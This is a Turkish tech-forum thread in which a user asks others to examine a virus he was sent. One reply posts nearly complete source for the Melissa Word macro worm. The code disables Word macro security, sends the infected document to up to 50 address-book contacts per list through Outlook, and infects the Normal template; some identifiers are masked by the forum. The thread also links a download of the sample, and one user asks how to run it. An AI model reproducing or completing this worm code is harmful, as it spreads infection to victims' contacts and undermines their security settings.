HaydarŞahin Posted April 13, 2012 Share Posted April 13, 2012 (edited) öncelikle konuyu yanlış yere açtıysam af ola.. yav arkadaşın biri bana incelemem için bir virüs yolladı...Virüs vb ile yazılmış. .bac uzantısını bat(toplu işlem dosyası)haline getirince çalışıyormuş.bir zahmet bir bakarmısınız [codebox]If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then Active********.SaveAs FileName:=Active********.FullName ElseIf (InStr(1, Active********.Name, "********") <> False) Then Active********.Saved = True End If 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub < =>[/codebox] [code]http://www.mediafire.com/?00x8l1x7zj2a4rz[/code] [color="#FF0000"]Yok mu yardımcı olacak bir vatandaş![/color] Edited April 13, 2012 by HaydarŞahin Quote Link to comment Share on other sites More sharing options...
kafkas066 Posted April 13, 2012 Share Posted April 13, 2012 sabretmek lazım konu açıldığında anıda cevap verilmediğinde böyle serzenişte bulunmak gayri ahlaki Quote Link to comment Share on other sites More sharing options...
G3n3tiG Posted April 13, 2012 Share Posted April 13, 2012 (edited) Bu eski bir virüse ait kod ama kodları eksik vermişsiniz kodların tamamını birazdan eklerim ve adı medusa mı medussa mı öyle birşey [spoiler] [code]Private Sub ********_Open() On Error Resume Next If System.PrivateProfileString ("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0W o rdSecuri ty", "Level") <> "" Then CommandBars("Macro").Controls("Security...").Enabl ed = False System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0W o rdSecuri ty", "Level") = 1& Else CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice" , "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else Wink" BreakUmOffASlice.Attachments.Add Active********.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice" , "Melissa?") = "... by Kwyjibo" End If Set ADI1 = Active********.VBProject.VBComponents.Item(1) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN = 2 If ADI1.Name <> "Melissa" Then If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name = "Melissa" DoAD = True End If If NTI1.Name <> "Melissa" Then If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1.Name = "Melissa" DoNT = True End If If DoNT <> True And DoAD <> True Then GoTo CYA If DoNT = True Then Do While ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()") Do While ADI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If If DoAD = True Then Do While NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If CYA: If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then Active********.SaveAs FileName:=Active********.FullName ElseIf (InStr(1, Active********.Name, "********") <> False) Then Active********.Saved = True End If 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub < => [/code][/spoiler] Edited April 13, 2012 by G3n3tiG Quote Link to comment Share on other sites More sharing options...
HaydarŞahin Posted April 13, 2012 Author Share Posted April 13, 2012 deepfree ile denesem bir sorun çıkarmı Quote Link to comment Share on other sites More sharing options...
*TOYGAR* Posted April 13, 2012 Share Posted April 13, 2012 Amacınız virüsü silmek mi çalışıp çalışmadığını denemek mi ? Eğer çalışıp çalışmadığını denemek istiyorsanız VirtualBox ve ya Sandbox tarzı yazılımları tavsiye ederim. Silmek istiyorsanız Eset smart security sayfaya eklediğiniz kodları okurken bile uyarı verdi. Quote Link to comment Share on other sites More sharing options...
HaydarŞahin Posted April 13, 2012 Author Share Posted April 13, 2012 verilen kodları ekledim eset nod32 5 ile taradım bir şey bulamadı Quote Link to comment Share on other sites More sharing options...
KintaRo Posted April 13, 2012 Share Posted April 13, 2012 kodların dediğine göre kendini adres defterinizdeki kişilere göndererek çoğaltıyor. Aradığınız ne onu anlamadım? Quote Link to comment Share on other sites More sharing options...
HalilYanar Posted April 13, 2012 Share Posted April 13, 2012 (edited) Bunu denerken hangi formata çevirerek deniyebiliriz .exe , .bat , .vbs ? Edited April 13, 2012 by HalilYanar Quote Link to comment Share on other sites More sharing options...
KintaRo Posted April 13, 2012 Share Posted April 13, 2012 çalıştıramazsın bunu bu şekilde. bazı kodlar ***** şeklinde silinmiş. Quote Link to comment Share on other sites More sharing options...
MostWanted Posted April 13, 2012 Share Posted April 13, 2012 Şu üstteki yorumu cidden ibretlik diye bi yere koymak gerekiyor. Quote Link to comment Share on other sites More sharing options...
iso_manyak Posted April 13, 2012 Share Posted April 13, 2012 [quote name='MostWanted' date='13 April 2012 - 09:51 ' timestamp='1334310702' post='1185849'] Şu üstteki yorumu cidden ibretlik diye bi yere koymak gerekiyor. [/quote] [color="#8B0000"][b]MostWanted[/b][/color] Bitirdin beni güme krizine soktun Quote Link to comment Share on other sites More sharing options...
emutlu Posted April 13, 2012 Share Posted April 13, 2012 Direkt çözüm format.. Virüs gördüğünde bas formatı. İbretlik Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.